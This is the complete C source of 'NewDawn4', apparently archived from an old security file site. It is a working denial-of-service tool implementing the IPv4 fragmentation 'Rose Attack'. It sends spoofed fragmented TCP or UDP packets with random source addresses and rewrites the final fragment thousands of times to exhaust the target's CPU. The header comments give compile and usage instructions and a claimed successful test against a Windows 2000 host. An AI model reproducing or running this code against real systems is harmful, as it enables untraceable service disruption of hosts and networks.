home *** CD-ROM | disk | FTP | other *** search
- /*-------------------------------------------------------------*/
- /*
- Implementation of Rose Attack described by Gandalf gandalf at digital.net
- Reference: Bugtraq, 30 mars 2004, "IPv4 fragmentation, The Rose Attack"
-
- NewDawn4.c written by Ken Hollis based on the code rose.c
- written by Laurent Constantin and NewDawn.c and NewDawn2.c
- written by chuck modified from large IGMP attack by Kox by
- Coolio (coolio (at) k-r4d.com)
-
- Program allows choice of TCP or UDP, number of packets to fragment, number
- of fragments per packet and number of times the last fragment is
- rewritten.
-
- Based on a conversation where it was mentioned that a highly fragmented
- packet would cause high CPU utilization if the last fragment was written
- over and over again.
-
- As chuck says, death by a thousand cuts.
-
- NewDawn4 allows smaller fragments (8 bytes) to be sent to the host. See:
- http://digital.net/~gandalf/Rose_Frag_Attack_Explained.htm
-
- Usage : ./NewDawn4 type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]
- Example: ./NewDawn4 1 1.2.3.4 80 5 9999 99999999 4080 2
- type : 1=tcp, 2=udp
- ipaddress : address to test
- port : optional port number (0 means random)
- NumP : Number of packets to fragment (less than 1000)
- NumT : Number of times last fragment is rewritten
- NumR : Number of times to run test
- NumF : Number of fragments per packet
- NumD : Delta between fragements. 2 = 8 bytes blank
- 16 bytes total between fragments (8 bytes
- payload + 8 bytes blank = 16 bytes),
- 5 = 32 bytes blank (8 bytes payload + 32 bytes
- blank = 40 bytes total = 5 * 8).
-
- Library netwib must be installed:
- http://www.laurentconstantin.com/en/netw/netwib/
- http://go.to/laurentconstantin
-
- To compile and run :
- gcc -Wall -o NewDawn4 NewDawn4.c `netwib-config -lc`
- ./NewDawn4 1 www.example.com 80
-
- The command:
- ./NewDawn4 1 10.12.14.16
- Is equivalent to:
- ./NewDawn4 1 10.12.14.16 0 5 9999 99999999 1021 8
- Where:
- ./NewDawn4 = Program Name
- 1 = TCP
- 10.12.14.16 = IP Address
- 0 = Random port numbers
- 5 = Five packets to fragment before staring next set of packets
- 9999 = The number of times to rewrite the last fragment of
- the five packets
- 99999999 = The number of times to run this entire attack
- 1021 = The number of middle fragments to write.
- 8 = 64 bytes, 8 byte data + 56 bytes blank fragments (8 bytes * 8 = 64)
-
- This was successfully tested with netwib 5.12.0, under Linux
- to test a Windows 2000 host. Local network is Ethernet.
- */
-
- /*-------------------------------------------------------------*/
- // Test large number of packets
- #define NUM_PACKETS 1000
- #define NUM_LAST 9999
- #define NUM_RUN 99999999
- #define NUM_FRAG 8170
- #define NUM_DELTA 8
-
- #include <stdlib.h>
- #include <stdio.h>
- #include <netwib.h>
-
- /*-------------------------------------------------------------*/
- typedef enum {
- ROSE_TYPE_TCP = 1,
- ROSE_TYPE_UDP = 2
- } rose_type;
-
- /*-------------------------------------------------------------*/
- typedef struct {
- rose_type type;
- netwib_ip ipad;
- netwib_port port;
- netwib_bool display;
- netwib_buf buf;
- netwib_io *pio;
- } rose_params;
-
- /*-------------------------------------------------------------*/
- static netwib_err rose_loop(rose_params *prp, int npack, int nrew,
- int nrun, int nfrag, int ndelta)
- {
- netwib_iphdr ipheader, ipstore[NUM_PACKETS];
- netwib_tcphdr tcpheader, tcpstore[NUM_PACKETS];
- netwib_udphdr udpheader, udpstore[NUM_PACKETS];
- netwib_buf payload;
- netwib_uint32 numsent = 0;
- int i, j, nrun2;
-
- printf("Packets %d Rewrite %d Runs %d Fragment packet to byte %d Delta %d\n\r",
- npack, nrew, nrun, nfrag, ndelta);
-
- for (nrun2=0; nrun2<nrun; nrun2++) {
-
- for (i=0; i<npack; i++){
- netwib_er(netwib_iphdr_initdefault(NETWIB_IPTYPE_IP4, &ipstore[i]));
- netwib_er(netwib_uint32_init_rand_all(&ipstore[i].src.ipvalue.ip4));
- switch(prp->type) {
- case ROSE_TYPE_TCP :
- netwib_er(netwib_tcphdr_initdefault(&tcpstore[i]));
- netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].src));
- if (prp->port == 0) {
- netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &tcpstore[i].dst));
- } else {
- tcpstore[i].dst = prp->port;
- }
- break;
- case ROSE_TYPE_UDP :
- netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].src));
- if (prp->port == 0) {
- netwib_er(netwib_uint32_init_rand(0, 0xFFFF, &udpstore[i].dst));
- } else {
- udpstore[i].dst = prp->port;
- }
- break;
- }
- }
-
- for (i=0; i<npack; i++){
- /* construct first fragment */
- netwib__buf_reinit(&prp->buf);
- ipheader = ipstore[i];
- ipheader.header.ip4.morefrag = NETWIB_TRUE;
- ipheader.header.ip4.offsetfrag = 0; /* not necessary, but to be clear */
- ipheader.src.iptype = NETWIB_IPTYPE_IP4;
- ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
- ipheader.dst = prp->ipad;
- switch(prp->type) {
- case ROSE_TYPE_TCP :
- tcpheader = tcpstore[i];
- tcpheader.src = tcpstore[i].src;
- tcpheader.dst = tcpstore[i].dst;
- tcpheader.ack = NETWIB_TRUE;
- netwib_er(netwib_buf_init_ext_text("1234567890123456789012345678",
- &payload));
- netwib_er(netwib_pkt_append_iptcpdata(&ipheader, &tcpheader, &payload,
- &prp->buf));
- break;
- case ROSE_TYPE_UDP :
- netwib_er(netwib_udphdr_initdefault(&udpheader));
- udpheader.src = udpstore[i].src;
- udpheader.dst = udpstore[i].dst;
- netwib_er(netwib_buf_init_ext_text("12345678901234567890123456789012",
- &payload));
- netwib_er(netwib_pkt_append_ipudpdata(&ipheader, &udpheader, &payload,
- &prp->buf));
- break;
- }
- if (prp->display) {
- netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
- NETWIB_ENCODETYPE_DUMP));
- }
- netwib_er(netwib_io_write(prp->pio, &prp->buf));
-
- /* construct middle fragments */
- ipheader.header.ip4.offsetfrag = 0x0008;
- for(ipheader.header.ip4.offsetfrag = 0x0008 ;
- ipheader.header.ip4.offsetfrag< nfrag;
- ipheader.header.ip4.offsetfrag = ipheader.header.ip4.offsetfrag +
- ndelta){
- netwib__buf_reinit(&prp->buf);
- switch(prp->type) {
- case ROSE_TYPE_TCP :
- ipheader.protocol = NETWIB_IPPROTO_TCP;
- netwib_er(netwib_buf_init_ext_text("12345678",
- &payload));
- break;
- case ROSE_TYPE_UDP :
- ipheader.protocol = NETWIB_IPPROTO_UDP;
- netwib_er(netwib_buf_init_ext_text("12345678",
- &payload));
- break;
- }
- netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
- if (prp->display) {
- netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
- NETWIB_ENCODETYPE_DUMP));
- }
- netwib_er(netwib_io_write(prp->pio, &prp->buf));
- }
-
- }
-
- printf("Rewriting %d packets last fragment %d times\r\n",
- npack,nrew); fflush(stdout);
-
- /* construct last fragment and rewrite NUM_LAST times */
- for (j=0;j<nrew;j++){
- netwib__buf_reinit(&prp->buf);
- for (i=0; i<npack; i++){
- ipheader = ipstore[i];
- ipheader.src.iptype = NETWIB_IPTYPE_IP4;
- ipheader.src.ipvalue.ip4 = ipstore[i].src.ipvalue.ip4;
- ipheader.dst = prp->ipad;
- switch(prp->type) {
- case ROSE_TYPE_TCP :
- tcpheader = tcpstore[i];
- tcpheader.src = tcpstore[i].src;
- tcpheader.dst = tcpstore[i].dst;
- tcpheader.ack = NETWIB_TRUE;
- ipheader.protocol = NETWIB_IPPROTO_TCP;
- break;
- case ROSE_TYPE_UDP :
- udpheader.src = udpstore[i].src;
- udpheader.dst = udpstore[i].dst;
- ipheader.protocol = NETWIB_IPPROTO_UDP;
- break;
- }
-
- netwib__buf_reinit(&prp->buf);
- ipheader.header.ip4.morefrag = NETWIB_FALSE;
- ipheader.header.ip4.offsetfrag = 0x1FF0;
- netwib_er(netwib_buf_init_ext_text("1234567890123456",
- &payload));
- netwib_er(netwib_pkt_append_ipdata(&ipheader, &payload, &prp->buf));
- if (prp->display) {
- netwib_er(netwib_pkt_ip_display(&prp->buf, NULL, NETWIB_ENCODETYPE_ARRAY,
- NETWIB_ENCODETYPE_DUMP));
- }
- netwib_er(netwib_io_write(prp->pio, &prp->buf));
- }
- }
- /* dot display */
- if (!prp->display && (numsent%100)==0) {
- printf("."); fflush(stdout);
- }
- numsent++;
- }
-
- return(NETWIB_ERR_OK);
- }
-
- /*-------------------------------------------------------------*/
- int main(int argc, char* argv[])
- {
- rose_params rp;
- netwib_buf ipstr;
- netwib_err ret;
- int npack, nrew, nrun, nfrag, ndelta;
-
- /* initialize netwib */
- netwib_init();
-
- /* check parameter count */
- if (argc < 3 || argc > 9) {
- printf("Usage : %s type(1or2) ipaddress [port] [NumP] [Numt] [NumR] [NumF] [NumD]\n", argv[0]);
- printf("Example: %s 1 1.2.3.4 80 5 9999 99999999 1021 8\n", argv[0]);
- printf(" type : %d=tcp, %d=udp\n", ROSE_TYPE_TCP, ROSE_TYPE_UDP);
- printf(" ipaddress : address to test\n");
- printf(" port : optional port number (0 means random)\n");
- printf(" NumP : Number of packets to fragment\n");
- printf(" NumT : Number of times last fragment is rewritten\n");
- printf(" NumR : Number of times to run test\n");
- printf(" NumF : Number of fragments per packet\n");
- printf(" NumD : Delta between fragements.\n");
- return(1);
- }
-
- /* first parameter is type */
- rp.type = atoi(argv[1]);
- switch(rp.type) {
- case ROSE_TYPE_TCP :
- case ROSE_TYPE_UDP :
- break;
- default :
- printf("First parameter must be 1 or 2 (currently=%s)\n", argv[1]);
- return(2);
- }
-
- /* second parameter is IP address */
- netwib_er(netwib_buf_init_ext_text(argv[2], &ipstr));
- ret = netwib_ip_init_buf(&ipstr, NETWIB_IP_DECODETYPE_BEST, &rp.ipad);
- if (ret != NETWIB_ERR_OK) {
- printf("Second parameter must be an IP or hostname (currently=%s)\n",
- argv[2]);
- return(3);
- }
-
- /* third parameter is port number */
- rp.port = 0;
- if (argc > 3) {
- rp.port = atoi(argv[3]); /* on error, set to 0, but that's ok */
- }
-
- /* fourth parameter is number of packets to fragment */
- npack = 5;
- if (argc > 4) {
- npack = atoi(argv[4]); /* on error, set to 1 */
- }
- if (npack < 1) { npack = 1; }
- if (npack > 1000) { npack = 1000; }
-
- /* fifth parameter is number of times packet is rewritten */
- nrew = NUM_LAST;
- if (argc > 5) {
- nrew = atoi(argv[5]); /* on error, set to 0, but that's ok */
- }
-
- /* sixth parameter is number of times to run the test */
- nrun = NUM_RUN;
- if (argc > 6) {
- nrun = atoi(argv[6]); /* on error, set to 0, but that's ok */
- }
-
- /* seventh parameter is number of fragments per packet */
- nfrag = NUM_FRAG;
- if (argc > 7) {
- nfrag = atoi(argv[7]);
- }
- if (nfrag < 1) { nfrag = 1; }
-
- /* eighth parameter is delta between fragments */
- ndelta = NUM_DELTA;
- if (argc > 8) {
- ndelta = atoi(argv[8]);
- }
-
- /* Make sure that the fragments do not exceed 8170 */
-
- nfrag = (nfrag * ndelta) + 8;
- if (nfrag > 8170) { nfrag = 8170; }
-
- printf("%s %d %s %d %d %d %d %d ndelta = %d\n\r",
- argv[0], rp.type, argv[2], rp.port, npack, nrew, nrun,
- nfrag / 8, ndelta);
-
- /* set to NETWIB_TRUE to activate display */
- rp.display = NETWIB_FALSE;
-
- /* instead of allocating memory each time, just use this permanent buffer */
- netwib_er(netwib_buf_init_mallocdefault(&rp.buf));
-
- /* initialize spoofing feature */
- netwib_er(netwib_io_init_spoof_ip(NETWIB_SPOOF_IP_INITTYPE_LINKBRAW,
- &rp.pio));
-
- /* main function */
- ret = rose_loop(&rp, npack, nrew, nrun, nfrag, ndelta);
- if (ret != NETWIB_ERR_OK) {
- netwib_er(netwib_err_display(ret, NETWIB_ERR_ENCODETYPE_FULL));
- return(ret);
- }
-
- /* close netwib */
- netwib_er(netwib_io_close(&rp.pio));
- netwib_er(netwib_buf_close(&rp.buf));
- netwib_close();
-
- return(0);
- }
-
-
-